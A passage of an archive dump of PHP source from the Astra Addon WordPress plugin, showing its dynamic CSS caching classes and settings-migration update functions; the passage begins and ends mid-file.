@var string */ private $asset_type = ''; /** * Uploads directory. * * @since 2.1.0 * @var array */ private $uploads_dir = array(); /** * Cache directory from uploads folder. * * @since 2.1.0 * @var String */ private $cache_dir; /** * Set priority for add_action call for action `wp_enqueue_scripts` * * @since 2.1.0 * @var string */ protected $asset_priority = ''; /** * Constructor * * @since 2.1.0 * @param String $cache_dir Base cache directory in the uploads directory. */ public function __construct( $cache_dir ) { if ( true === is_admin() ) { return false; } $this->cache_dir = $cache_dir; add_action( 'wp', array( $this, 'init_cache' ) ); add_action( 'wp_enqueue_scripts', array( $this, 'setup_cache' ), $this->asset_priority ); } /** * Setup class variables. * * @since 2.1.0 * @return void */ public function init_cache() { $this->asset_type = $this->asset_type(); $this->asset_query_var = $this->asset_query_var(); $this->asset_slug = $this->asset_slug(); $this->uploads_dir = astra_addon_filesystem()->get_uploads_dir( $this->cache_dir ); // Create uploads directory. astra_addon_filesystem()->maybe_create_uploads_dir( $this->uploads_dir['path'] ); } /** * Get Current query type. single|archive. * * @since 2.1.0 * @return String */ private function asset_query_var() { if ( 'post' === $this->asset_type || 'home' === $this->asset_type || 'frontpage' === $this->asset_type ) { $slug = 'single'; } else { $slug = 'archive'; } return apply_filters( 'astra_addon_cache_asset_query_var', $slug ); } /** * Get current asset slug. * * @since 2.1.0 * @return String */ private function asset_slug() { if ( 'home' === $this->asset_type || 'frontpage' === $this->asset_type ) { return $this->asset_type; } else { return $this->asset_type . $this->cache_key_suffix(); } } /** * Append queried object ID to cache if it is not `0` * * @since 2.1.0 * @return Mixed queried object id if that is not 0; else false. */ private function cache_key_suffix() { return get_queried_object_id() !== 0 ? '-' . get_queried_object_id() : false; } /** * Get the archive title. * * @since 2.1.0 * @return $title Returns the archive title. */ private function asset_type() { $title = 'post'; if ( is_category() ) { $title = 'category'; } elseif ( is_tag() ) { $title = 'tag'; } elseif ( is_author() ) { $title = 'author'; } elseif ( is_year() ) { $title = 'year-' . get_query_var( 'year' ); } elseif ( is_month() ) { $title = 'month-' . get_query_var( 'monthnum' ); } elseif ( is_day() ) { $title = 'day-' . get_query_var( 'day' ); } elseif ( is_tax( 'post_format' ) ) { if ( is_tax( 'post_format', 'post-format-aside' ) ) { $title = 'asides'; } elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) { $title = 'galleries'; } elseif ( is_tax( 'post_format', 'post-format-image' ) ) { $title = 'images'; } elseif ( is_tax( 'post_format', 'post-format-video' ) ) { $title = 'videos'; } elseif ( is_tax( 'post_format', 'post-format-quote' ) ) { $title = 'quotes'; } elseif ( is_tax( 'post_format', 'post-format-link' ) ) { $title = 'links'; } elseif ( is_tax( 'post_format', 'post-format-status' ) ) { $title = 'statuses'; } elseif ( is_tax( 'post_format', 'post-format-audio' ) ) { $title = 'audio'; } elseif ( is_tax( 'post_format', 'post-format-chat' ) ) { $title = 'chats'; } } elseif ( is_post_type_archive() ) { $title = 'archives'; } elseif ( is_tax() ) { $tax = get_taxonomy( get_queried_object()->taxonomy ); $title = sanitize_key( $tax->name ); } if ( is_search() ) { $title = 'search'; } if ( is_404() ) { $title = '404'; } if ( is_front_page() ) { $title = 'post'; } if ( is_home() ) { $title = 'home'; } return apply_filters( 'astra_addon_cache_asset_type', $title ); } /** * Create an array of all the files that needs to be merged in dynamic CSS file. * * @since 2.1.0 * @param array $file file path. * @return void */ public static function add_css_file( $file ) {} /** * Append CSS style to the theme dynamic css. * * @since 2.1.0 * @param Array $dynamic_css_files Array of file paths to be to be added to minify cache. * @return String CSS from the CSS files passed. */ public function get_css_from_files( $dynamic_css_files ) { $dynamic_css_data = ''; foreach ( $dynamic_css_files as $key => $value ) { // Get file contents. $get_contents = astra_addon_filesystem()->get_contents( $value ); if ( $get_contents ) { $dynamic_css_data .= $get_contents; } } return $dynamic_css_data; } /** * Refresh Assets, called through ajax * * @since 2.1.0 * @param String $cache_dir dirname of the cache. * @return void */ public function ajax_refresh_assets( $cache_dir ) { if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die(); } check_ajax_referer( 'astra_addon_update_admin_setting', 'security' ); $this->init_cache(); astra_addon_filesystem()->reset_filesystem_access_status(); $this->delete_cache_files( $cache_dir ); } /** * Refresh Assets * * @since 2.1.0 * @param String $cache_dir dirname of the cache. * @return void */ public function refresh_assets( $cache_dir ) { if ( ! current_user_can( 'edit_theme_options' ) ) { return; } $this->init_cache(); astra_addon_filesystem()->reset_filesystem_access_status(); $this->delete_cache_files( $cache_dir ); } /** * Deletes cache files * * @since 2.1.0 * @param String $cache_dir dirname of the cache. * @return void */ private function delete_cache_files( $cache_dir ) { $cache_dir = astra_addon_filesystem()->get_uploads_dir( $cache_dir ); $cache_files = astra_addon_filesystem()->get_filesystem()->dirlist( $cache_dir['path'], false, true ); if ( is_array( $cache_files ) ) { foreach ( $cache_files as $file ) { // don't delete index.php file. if ( 'index.php' === $file['name'] ) { continue; } // Delete only dynamic CSS files. if ( false === strpos( $file['name'], 'dynamic-css' ) ) { continue; } astra_addon_filesystem()->delete( trailingslashit( $cache_dir['path'] ) . $file['name'], true, 'f' ); } } } /** * Fetch theme CSS data to be added in the dynamic CSS file. * * @since 2.1.0 * @return void */ public function setup_cache() {} /** * Write dynamic asset files. * * @param String $style_data Dynamic CSS. * @param String $type Asset type. * @return void */ protected function write_assets( $style_data, $type ) { $allow_file_generation = get_option( '_astra_file_generation', 'disable' ); if ( 'disable' === $allow_file_generation || is_customize_preview() ) { return; } $assets_info = $this->get_asset_info( $type ); $post_timestamp = $this->get_post_timestamp( $assets_info ); // Check if we need to create a new file or override the current file. if ( ! empty( $style_data ) && true === $post_timestamp['create_new_file'] ) { $this->file_write( $style_data, $post_timestamp['timestamp'], $assets_info ); } } /** * Get Dynamic CSS. * * @since 2.1.0 * @return void */ protected function get_dynamic_css() { } /** * Enqueue CSS files. * * @param string $type Gets the type theme/addon. * @since 2.1.0 * @return void */ public function enqueue_styles( $type ) { if ( self::inline_assets() ) { wp_add_inline_style( 'astra-' . $type . '-css', $this->get_dynamic_css() ); } else { $assets_info = $this->get_asset_info( $type ); $post_timestamp = $this->get_post_timestamp( $assets_info ); if ( isset( $this->uploads_dir['url'] ) ) { wp_enqueue_style( 'astra-' . $type . '-dynamic', $this->uploads_dir['url'] . 'astra-' . $type . '-dynamic-css-' . $this->asset_slug . '.css', array( 'astra-' . $type . '-css' ), $post_timestamp['timestamp'] ); } } } /** * Enqueue the assets inline. * * @since 2.1.0 * @return boolean */ public static function inline_assets() { $inline = false; $allow_file_generation = get_option( '_astra_file_generation', 'disable' ); if ( ( defined( 'SCRIPT_DEBUG' ) && true === SCRIPT_DEBUG ) || ! astra_addon_filesystem()->can_access_filesystem() || 'disable' === $allow_file_generation || is_customize_preview() ) { $inline = true; } return apply_filters( 'astra_addon_load_dynamic_css_inline', $inline ); } /** * Returns the current Post Meta/ Option Timestamp. * * @since 2.1.0 * @param string $assets_info Gets the assets path info. * @return array $timestamp_data. */ public function get_post_timestamp( $assets_info ) { // Check if current page is a post/ archive page. false states that the current page is a post. if ( 'single' === $this->asset_query_var ) { $post_timestamp = get_post_meta( get_the_ID(), 'astra_style_timestamp_css', true ); } else { $post_timestamp = get_option( 'astra_get_dynamic_css' ); } $timestamp_data = $this->maybe_get_new_timestamp( $post_timestamp, $assets_info ); return $timestamp_data; } /** * Gets the current timestamp. * * @since 2.1.0 * @return string $timestamp Timestamp. */ private function get_current_timestamp() { $date = new DateTime(); $timestamp = $date->getTimestamp(); return $timestamp; } /** * Returns the current Post Meta/ Option Timestamp or creates a new timestamp. * * @since 2.1.0 * @param string $post_timestamp Timestamp of the post meta/ option. * @param string $assets_info Gets the assets path info. * @return array $data. */ public function maybe_get_new_timestamp( $post_timestamp, $assets_info ) { // Creates a new timestamp if the file does not exists or the timestamp is empty. // If post_timestamp is empty that means it is an new post or the post is updated and a new file needs to be created. // If a file does not exists then we need to create a new file. if ( '' == $post_timestamp || ! file_exists( $assets_info['path'] ) ) { $timestamp = $this->get_current_timestamp(); $data = array( 'create_new_file' => true, 'timestamp' => $timestamp, ); } else { $timestamp = $post_timestamp; $data = array( 'create_new_file' => false, 'timestamp' => $timestamp, ); } return $data; } /** * Returns an array of paths for the CSS assets * of the current post. * * @param string $type Gets the type theme/addon. * @since 2.1.0 * @return array */ public function get_asset_info( $type ) { $css_suffix = 'astra-' . $type . '-dynamic-css'; $css_suffix = 'astra-' . $type . '-dynamic-css'; $info = array(); if ( ! isset( $this->uploads_dir['path'] ) || ! isset( $this->uploads_dir['url'] ) ) { return $info; } $info['path'] = $this->uploads_dir['path'] . $css_suffix . '-' . $this->asset_slug . '.css'; $info['css_url'] = $this->uploads_dir['url'] . $css_suffix . '-' . $this->asset_slug . '.css'; return $info; } /** * Updates the Post Meta/ Option Timestamp. * * @param string $timestamp Gets the current timestamp. * @since 2.1.0 * @return void */ public function update_timestamp( $timestamp ) { // Check if current page is a post/ archive page. false states that the current page is a post. if ( 'single' === $this->asset_query_var ) { update_post_meta( get_the_ID(), 'astra_style_timestamp_css', $timestamp ); } else { update_option( 'astra_get_dynamic_css', $timestamp ); } } /** * Creates CSS files. * * @param string $style_data Gets the CSS for the current Page. * @param string $timestamp Gets the current timestamp. * @param string $assets_info Gets the assets path info. * @since 2.1.0 * @return void */ public function file_write( $style_data, $timestamp, $assets_info ) { astra_addon_filesystem()->put_contents( $assets_info['path'], $style_data ); $this->update_timestamp( $timestamp ); } } cache/class-astra-cache.php 0000666 00000005672 15165730730 0011623 0 ustar 00 <?php /** * Astra Addon Cache * * @package Astra * @link https://www.brainstormforce.com * @since Astra 2.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Astra_Cache */ // @codingStandardsIgnoreStart class Astra_Cache extends Astra_Cache_Base { // @codingStandardsIgnoreEnd /** * Member Variable * * @var array instance */ private static $dynamic_css_files = array(); /** * Cache directory. * * @since 2.1.0 * @var String */ private $cache_dir; /** * Constructor * * @since 2.1.0 * @param String $cache_dir Base cache directory in the uploads directory. */ public function __construct( $cache_dir ) { $this->cache_dir = $cache_dir; $this->asset_priority = 2; parent::__construct( $cache_dir ); // Triggers on click on refresh/ recheck button. add_action( 'wp_ajax_astra_refresh_assets_files', array( $this, 'addon_refresh_assets' ) ); add_action( 'save_post', array( $this, 'astra_refresh_assets' ) ); add_action( 'post_updated', array( $this, 'astra_refresh_assets' ) ); add_action( 'customize_save', array( $this, 'astra_refresh_assets' ) ); } /** * Create an array of all the files that needs to be merged in dynamic CSS file. * * @since 2.1.0 * @param array $file file path. * @return void */ public static function add_css_file( $file ) { self::$dynamic_css_files[] = $file; } /** * Get dynamic CSS * * @since 2.1.0 * @return String Dynamic CSS */ protected function get_dynamic_css() { $theme_css_data = apply_filters( 'astra_dynamic_theme_css', '' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $theme_css_data .= $this->get_css_from_files( self::$dynamic_css_files ); return Astra_Enqueue_Scripts::trim_css( $theme_css_data ); } /** * Fetch theme CSS data to be added in the dynamic CSS file. * * @since 2.1.0 * @return void */ public function setup_cache() { $assets_info = $this->get_asset_info( 'theme' ); if ( array_key_exists( 'path', $assets_info ) && ! file_exists( $assets_info['path'] ) && ! self::inline_assets() ) { $theme_css_data = $this->get_dynamic_css(); // Return if there is no data to add in the css file. if ( empty( $theme_css_data ) ) { return; } $this->write_assets( $theme_css_data, 'theme' ); } if ( true === Astra_Enqueue_Scripts::enqueue_theme_assets() ) { // Call enqueue styles function. $this->enqueue_styles( 'theme' ); } } /** * Refresh Assets. * * @since 2.1.0 * @return void */ public function astra_refresh_assets() { parent::refresh_assets( $this->cache_dir ); } /** * Refresh Assets, called through ajax * * @since 2.1.0 * @return void */ public function addon_refresh_assets() { parent::ajax_refresh_assets( $this->cache_dir ); } } new Astra_Cache( 'astra' ); cache/class-astra-addon-cache.php 0000666 00000005643 15165730730 0012704 0 ustar 00 <?php /** * Astra Addon Cache * * @package Astra * @link https://www.brainstormforce.com * @since Astra 2.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } // bail if Astra Cache is not available. if ( ! class_exists( 'Astra_Cache_Base' ) ) { return; } /** * Astra_Addon_Cache */ class Astra_Addon_Cache extends Astra_Cache_Base { /** * Member Variable * * @var array instance */ private static $dynamic_css_files = array(); /** * Cache directory. * * @since 2.1.0 * @var String */ private $cache_dir; /** * Constructor * * @since 2.1.0 * @param String $cache_dir Base cache directory in the uploads directory. */ public function __construct( $cache_dir ) { $this->cache_dir = $cache_dir; $this->asset_priority = 10; parent::__construct( $cache_dir ); // Triggers on click on refresh/ recheck button. add_action( 'wp_ajax_astra_refresh_assets_files', array( $this, 'addon_refresh_assets' ) ); add_action( 'save_post', array( $this, 'astra_refresh_assets' ) ); add_action( 'post_updated', array( $this, 'astra_refresh_assets' ) ); add_action( 'customize_save', array( $this, 'astra_refresh_assets' ) ); } /** * Create an array of all the files that needs to be merged in dynamic CSS file. * * @since 2.1.0 * @param array $file file path. * @return void */ public static function add_css_file( $file ) { self::$dynamic_css_files = array_merge( self::$dynamic_css_files, $file ); } /** * Get dynamic CSS * * @since 2.1.0 * @return String Dynamic CSS */ protected function get_dynamic_css() { $astra_addon_css_data = apply_filters( 'astra_addon_dynamic_css', '' ); $astra_addon_css_data .= $this->get_css_from_files( self::$dynamic_css_files ); return Astra_Enqueue_Scripts::trim_css( $astra_addon_css_data ); } /** * Fetch theme CSS data to be added in the dynamic CSS file. * * @since 2.1.0 * @return void */ public function setup_cache() { $assets_info = $this->get_asset_info( 'addon' ); if ( array_key_exists( 'path', $assets_info ) && ! file_exists( $assets_info['path'] ) && ! self::inline_assets() ) { $astra_addon_css_data = $this->get_dynamic_css(); // Return if there is no data to add in the css file. if ( empty( $astra_addon_css_data ) ) { return; } $this->write_assets( $astra_addon_css_data, 'addon' ); } // Call enqueue styles function. $this->enqueue_styles( 'addon' ); } /** * Refresh Assets. * * @since 2.1.0 * @return void */ public function astra_refresh_assets() { parent::refresh_assets( $this->cache_dir ); } /** * Refresh Assets, called through ajax * * @since 2.1.0 * @return void */ public function addon_refresh_assets() { parent::ajax_refresh_assets( $this->cache_dir ); } } new Astra_Addon_Cache( 'astra-addon' ); astra-addon-update-functions.php 0000666 00000060556 15165730730 0012767 0 ustar 00 <?php /** * Astra Addon Updates * * Functions for updating data, used by the background updater. * * @package Astra Addon * @version 2.1.3 */ defined( 'ABSPATH' ) || exit; /** * Do not apply new default colors to the Elementor & Gutenberg Buttons for existing users. * * @since 2.1.4 * * @return void */ function astra_addon_page_builder_button_color_compatibility() { $theme_options = get_option( 'astra-settings', array() ); // Set flag to not load button specific CSS. if ( ! isset( $theme_options['pb-button-color-compatibility-addon'] ) ) { $theme_options['pb-button-color-compatibility-addon'] = false; error_log( 'Astra Addon: Page Builder button compatibility: false' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log update_option( 'astra-settings', $theme_options ); } } /** * Apply Desktop + Mobile to parallax device. * * @since 2.3.0 * * @return bool */ function astra_addon_page_header_parallax_device() { $posts = get_posts( array( 'post_type' => 'astra_adv_header', 'numberposts' => -1, ) ); foreach ( $posts as $post ) { $ids = $post->ID; if ( false == $ids ) { return false; } $settings = get_post_meta( $ids, 'ast-advanced-headers-design', true ); if ( isset( $settings['parallax'] ) && $settings['parallax'] ) { $settings['parallax-device'] = 'both'; } else { $settings['parallax-device'] = 'none'; } update_post_meta( $ids, 'ast-advanced-headers-design', $settings ); } } /** * Migrate option data from Content background option to its desktop counterpart. * * @since 2.4.0 * * @return void */ function astra_responsive_content_background_option() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $theme_options = get_option( 'astra-settings', array() ); if ( false === get_option( 'content-bg-obj-responsive', false ) && isset( $theme_options['content-bg-obj'] ) ) { $theme_options['content-bg-obj-responsive']['desktop'] = $theme_options['content-bg-obj']; $theme_options['content-bg-obj-responsive']['tablet'] = array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', ); $theme_options['content-bg-obj-responsive']['mobile'] = array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', ); } update_option( 'astra-settings', $theme_options ); } /** * Migrate multisite css file generation option to sites indiviually. * * @since 2.3.3 * * @return void */ function astra_addon_css_gen_multi_site_fix() { if ( is_multisite() ) { $is_css_gen_enabled = get_site_option( '_astra_file_generation', 'disable' ); if ( 'enable' === $is_css_gen_enabled ) { update_option( '_astra_file_generation', $is_css_gen_enabled ); error_log( 'Astra Addon: CSS file generation: enable' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log } } } /** * Check if we need to change the default value for tablet breakpoint. * * @since 2.4.0 * @return void */ function astra_addon_update_theme_tablet_breakpoint() { $theme_options = get_option( 'astra-settings' ); if ( ! isset( $theme_options['can-update-addon-tablet-breakpoint'] ) ) { // Set a flag to check if we need to change the addon tablet breakpoint value. $theme_options['can-update-addon-tablet-breakpoint'] = false; } update_option( 'astra-settings', $theme_options ); } /** * Apply missing editor_type post meta to having code enabled custom layout posts. * * @since 2.5.0 * * @return bool */ function custom_layout_compatibility_having_code_posts() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $posts = get_posts( array( 'post_type' => 'astra-advanced-hook', 'numberposts' => -1, ) ); foreach ( $posts as $post ) { $post_id = $post->ID; if ( ! $post_id ) { return; } $post_with_code_editor = get_post_meta( $post_id, 'ast-advanced-hook-with-php', true ); if ( isset( $post_with_code_editor ) && 'enabled' === $post_with_code_editor ) { update_post_meta( $post_id, 'editor_type', 'code_editor' ); } else { update_post_meta( $post_id, 'editor_type', 'wordpress_editor' ); } } } /** * Added new submenu color options for Page Headers. * * @since 2.5.0 * * @return bool */ function astra_addon_page_header_submenu_color_options() { $posts = get_posts( array( 'post_type' => 'astra_adv_header', 'numberposts' => -1, ) ); foreach ( $posts as $post ) { $id = $post->ID; if ( false == $id ) { return false; } $settings = get_post_meta( $id, 'ast-advanced-headers-design', true ); if ( ( isset( $settings['primary-menu-h-color'] ) && $settings['primary-menu-h-color'] ) && ! isset( $settings['primary-menu-a-color'] ) ) { $settings['primary-menu-a-color'] = $settings['primary-menu-h-color']; } if ( ( isset( $settings['above-header-h-color'] ) && $settings['above-header-h-color'] ) && ! isset( $settings['above-header-a-color'] ) ) { $settings['above-header-a-color'] = $settings['above-header-h-color']; } if ( ( isset( $settings['below-header-h-color'] ) && $settings['below-header-h-color'] ) && ! isset( $settings['below-header-a-color'] ) ) { $settings['below-header-a-color'] = $settings['below-header-h-color']; } update_post_meta( $id, 'ast-advanced-headers-design', $settings ); } } /** * Manage flags & run backward compatibility process for following cases. * * 1. Sticky header inheriting colors in normal headers as well. * * @since 2.6.0 * @return void */ function astra_addon_header_css_optimizations() { $theme_options = get_option( 'astra-settings' ); if ( ! isset( $theme_options['can-inherit-sticky-colors-in-header'] ) && ( ( isset( $theme_options['header-above-stick'] ) && $theme_options['header-above-stick'] ) || ( isset( $theme_options['header-main-stick'] ) && $theme_options['header-main-stick'] ) || ( isset( $theme_options['header-below-stick'] ) && $theme_options['header-below-stick'] ) ) && ( ( ( isset( $theme_options['sticky-above-header-megamenu-heading-color'] ) && '' !== $theme_options['sticky-above-header-megamenu-heading-color'] ) || ( isset( $theme_options['sticky-above-header-megamenu-heading-h-color'] ) && '' !== $theme_options['sticky-above-header-megamenu-heading-h-color'] ) ) || ( ( isset( $theme_options['sticky-primary-header-megamenu-heading-color'] ) && '' !== $theme_options['sticky-primary-header-megamenu-heading-color'] ) || ( isset( $theme_options['sticky-primary-header-megamenu-heading-h-color'] ) && '' !== $theme_options['sticky-primary-header-megamenu-heading-h-color'] ) ) || ( ( isset( $theme_options['sticky-below-header-megamenu-heading-color'] ) && '' !== $theme_options['sticky-below-header-megamenu-heading-color'] ) || ( isset( $theme_options['sticky-below-header-megamenu-heading-h-color'] ) && '' !== $theme_options['sticky-below-header-megamenu-heading-h-color'] ) ) ) ) { // Set a flag to inherit sticky colors in the normal header as well. $theme_options['can-inherit-sticky-colors-in-header'] = true; } update_option( 'astra-settings', $theme_options ); } /** * Page Header's color options compatibility with new Header builder layout. * * @since 3.5.0 * @return void */ function astra_addon_page_headers_support_to_builder_layout() { $theme_options = get_option( 'astra-settings' ); if ( ! isset( $theme_options['can-update-page-header-compatibility-to-header-builder'] ) ) { // Set a flag to avoid direct changes on frontend. $theme_options['can-update-page-header-compatibility-to-header-builder'] = true; } update_option( 'astra-settings', $theme_options ); } /** * Do not apply new font-weight heading support CSS in editor/frontend directly. * * 1. Adding Font-weight support to widget titles. * 2. Customizer font CSS not supporting in editor. * * @since 3.5.1 * * @return void */ function astra_addon_headings_font_support() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['can-support-widget-and-editor-fonts'] ) ) { $theme_options['can-support-widget-and-editor-fonts'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Cart color not working in old header > cart widget. As this change can reflect on frontend directly, adding this backward compatibility. * * @since 3.5.1 * @return void */ function astra_addon_cart_color_not_working_in_old_header() { $theme_options = get_option( 'astra-settings' ); if ( ! isset( $theme_options['can-reflect-cart-color-in-old-header'] ) ) { // Set a flag to avoid direct changes on frontend. $theme_options['can-reflect-cart-color-in-old-header'] = false; } update_option( 'astra-settings', $theme_options ); } /** * Till now "Header Sections" addon has dependency conflict with new header builder, unless & until this addon activate dynamic CSS does load for new header layouts. * As we deprecate "Header Sections" for new header builder layout, conflict appears here. * * Adding backward compatibility as changes can directly reflect on frontend. * * @since 3.5.7 * @return void */ function astra_addon_remove_header_sections_deps_new_builder() { $theme_options = get_option( 'astra-settings' ); if ( ! isset( $theme_options['remove-header-sections-deps-in-new-header'] ) ) { // Set a flag to avoid direct changes on frontend. $theme_options['remove-header-sections-deps-in-new-header'] = false; } update_option( 'astra-settings', $theme_options ); } /** * In old header for Cart widget we have background: #ffffff; for outline cart, whereas this CSS missed in new HFB > Cart element. Adding it now as per support requests. This case is only for new header builder > WooCommerce cart. * * @since 3.5.7 * @return void */ function astra_addon_outline_cart_bg_color_support() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['add-outline-cart-bg-new-header'] ) ) { $theme_options['add-outline-cart-bg-new-header'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Swap section on Mobile Device not working in old header. As this change can reflect on frontend directly, adding this backward compatibility. * * @since 3.5.7 * @return void */ function astra_addon_swap_section_not_working_in_old_header() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['support-swap-mobile-header-sections'] ) ) { $theme_options['support-swap-mobile-header-sections'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Do not apply default header site title and tag line color to sticky header for existing users. * * @since 3.5.8 * * @return void */ function astra_sticky_header_site_title_tagline_css() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['sticky-header-default-site-title-tagline-css'] ) ) { $theme_options['sticky-header-default-site-title-tagline-css'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Migrating Builder > Account > resonsive menu color options to single color options. * Because we do not show menu on resonsive devices, whereas we trigger login link on responsive devices instead of showing menu. * * @since 3.5.9 * * @return void */ function astra_addon_remove_responsive_account_menu_colors_support() { $theme_options = get_option( 'astra-settings', array() ); $account_menu_colors = array( 'header-account-menu-color', // Menu color. 'header-account-menu-h-color', // Menu hover color. 'header-account-menu-a-color', // Menu active color. 'header-account-menu-bg-obj', // Menu background color. 'header-account-menu-h-bg-color', // Menu background hover color. 'header-account-menu-a-bg-color', // Menu background active color. 'sticky-header-account-menu-color', // Sticky menu color. 'sticky-header-account-menu-h-color', // Sticky menu hover color. 'sticky-header-account-menu-a-color', // Sticky menu active color. 'sticky-header-account-menu-bg-obj', // Sticky menu background color. 'sticky-header-account-menu-h-bg-color', // Sticky menu background hover color. 'sticky-header-account-menu-a-bg-color', // Sticky menu background active color. ); foreach ( $account_menu_colors as $color_option ) { if ( ! isset( $theme_options[ $color_option ] ) && isset( $theme_options[ $color_option . '-responsive' ]['desktop'] ) ) { $theme_options[ $color_option ] = $theme_options[ $color_option . '-responsive' ]['desktop']; } } update_option( 'astra-settings', $theme_options ); } /** * Check if old user and keep the existing product gallery layouts. * * @since 3.9.0 * @return void */ function astra_addon_update_product_gallery_layout() { $theme_options = get_option( 'astra-settings' ); if ( ! isset( $theme_options['astra-product-gallery-layout-flag'] ) ) { $theme_options['astra-product-gallery-layout-flag'] = false; } update_option( 'astra-settings', $theme_options ); } /** * Migrate old user data to new responsive format for shop's cart button padding. * * @since 3.9.0 * @return void */ function astra_addon_responsive_shop_button_padding() { $theme_options = get_option( 'astra-settings', array() ); $vertical_button_padding = isset( $theme_options['shop-button-v-padding'] ) ? $theme_options['shop-button-v-padding'] : ''; $horizontal_button_padding = isset( $theme_options['shop-button-h-padding'] ) ? $theme_options['shop-button-h-padding'] : ''; if ( ! isset( $theme_options['shop-button-padding'] ) ) { $theme_options['shop-button-padding'] = array( 'desktop' => array( 'top' => $vertical_button_padding, 'right' => $horizontal_button_padding, 'bottom' => $vertical_button_padding, 'left' => $horizontal_button_padding, ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); update_option( 'astra-settings', $theme_options ); } } /** * Migrate old box shadow user data to new simplyfy box-shadow controls shop items shadow. * * @since 3.9.0 * @return void */ function astra_addon_shop_box_shadow_migration() { // For shop products box-shadow. $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['shop-item-box-shadow-control'] ) && isset( $theme_options['shop-product-shadow'] ) ) { $normal_shadow_x = ''; $normal_shadow_y = ''; $normal_shadow_blur = ''; $normal_shadow_spread = ''; $normal_shadow_color = 'rgba(0,0,0,.1)'; switch ( $theme_options['shop-product-shadow'] ) { case 1: $normal_shadow_x = '0'; $normal_shadow_y = '1'; $normal_shadow_blur = '3'; $normal_shadow_spread = '-2'; break; case 2: $normal_shadow_x = '0'; $normal_shadow_y = '3'; $normal_shadow_blur = '6'; $normal_shadow_spread = '-5'; break; case 3: $normal_shadow_x = '0'; $normal_shadow_y = '10'; $normal_shadow_blur = '20'; $normal_shadow_spread = ''; break; case 4: $normal_shadow_x = '0'; $normal_shadow_y = '14'; $normal_shadow_blur = '28'; $normal_shadow_spread = ''; break; case 5: $normal_shadow_x = '0'; $normal_shadow_y = '20'; $normal_shadow_blur = '30'; $normal_shadow_spread = '0'; break; default: break; } $theme_options['shop-item-box-shadow-control'] = array( 'x' => $normal_shadow_x, 'y' => $normal_shadow_y, 'blur' => $normal_shadow_blur, 'spread' => $normal_shadow_spread, ); $theme_options['shop-item-box-shadow-position'] = 'outline'; $theme_options['shop-item-box-shadow-color'] = $normal_shadow_color; update_option( 'astra-settings', $theme_options ); } // For shop products hover box-shadow. $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['shop-item-hover-box-shadow-control'] ) && isset( $theme_options['shop-product-shadow-hover'] ) ) { $normal_shadow_x = ''; $normal_shadow_y = ''; $normal_shadow_blur = ''; $normal_shadow_spread = ''; $normal_shadow_color = 'rgba(0,0,0,.1)'; switch ( $theme_options['shop-product-shadow-hover'] ) { case 1: $normal_shadow_x = '0'; $normal_shadow_y = '1'; $normal_shadow_blur = '3'; $normal_shadow_spread = '-2'; break; case 2: $normal_shadow_x = '0'; $normal_shadow_y = '3'; $normal_shadow_blur = '6'; $normal_shadow_spread = '-5'; break; case 3: $normal_shadow_x = '0'; $normal_shadow_y = '10'; $normal_shadow_blur = '20'; $normal_shadow_spread = ''; break; case 4: $normal_shadow_x = '0'; $normal_shadow_y = '14'; $normal_shadow_blur = '28'; $normal_shadow_spread = ''; break; case 5: $normal_shadow_x = '0'; $normal_shadow_y = '20'; $normal_shadow_blur = '30'; $normal_shadow_spread = '0'; break; default: break; } $theme_options['shop-item-hover-box-shadow-control'] = array( 'x' => $normal_shadow_x, 'y' => $normal_shadow_y, 'blur' => $normal_shadow_blur, 'spread' => $normal_shadow_spread, ); $theme_options['shop-item-hover-box-shadow-position'] = 'outline'; $theme_options['shop-item-hover-box-shadow-color'] = $normal_shadow_color; update_option( 'astra-settings', $theme_options ); } } /** * If old user then it keeps then default cart icon. * * @since 3.9.0 * @return void */ function astra_addon_update_woocommerce_cart_icons() { $theme_options = get_option( 'astra-settings' ); if ( ! isset( $theme_options['astra-woocommerce-cart-icons-flag'] ) ) { $theme_options['astra-woocommerce-cart-icons-flag'] = false; update_option( 'astra-settings', $theme_options ); } } /** * If old user then it keeps then default cart icon. * * @since 3.9.0 * @return void */ function astra_addon_update_toolbar_seperations() { $theme_options = get_option( 'astra-settings' ); $shop_toolbar_display = isset( $theme_options['shop-toolbar-display'] ) ? $theme_options['shop-toolbar-display'] : true; if ( ! isset( $theme_options['shop-toolbar-structure'] ) ) { if ( true === $shop_toolbar_display ) { if ( isset( $theme_options['shop-off-canvas-trigger-type'] ) && 'disable' !== $theme_options['shop-off-canvas-trigger-type'] && 'custom-class' !== $theme_options['shop-off-canvas-trigger-type'] ) { $theme_options['shop-toolbar-structure'] = array( 'filters', 'results', 'sorting', ); $theme_options['shop-toolbar-structure-with-hiddenset'] = array( 'filters' => true, 'results' => true, 'sorting' => true, 'easy_view' => false, ); } else { $theme_options['shop-toolbar-structure'] = array( 'results', 'sorting', ); 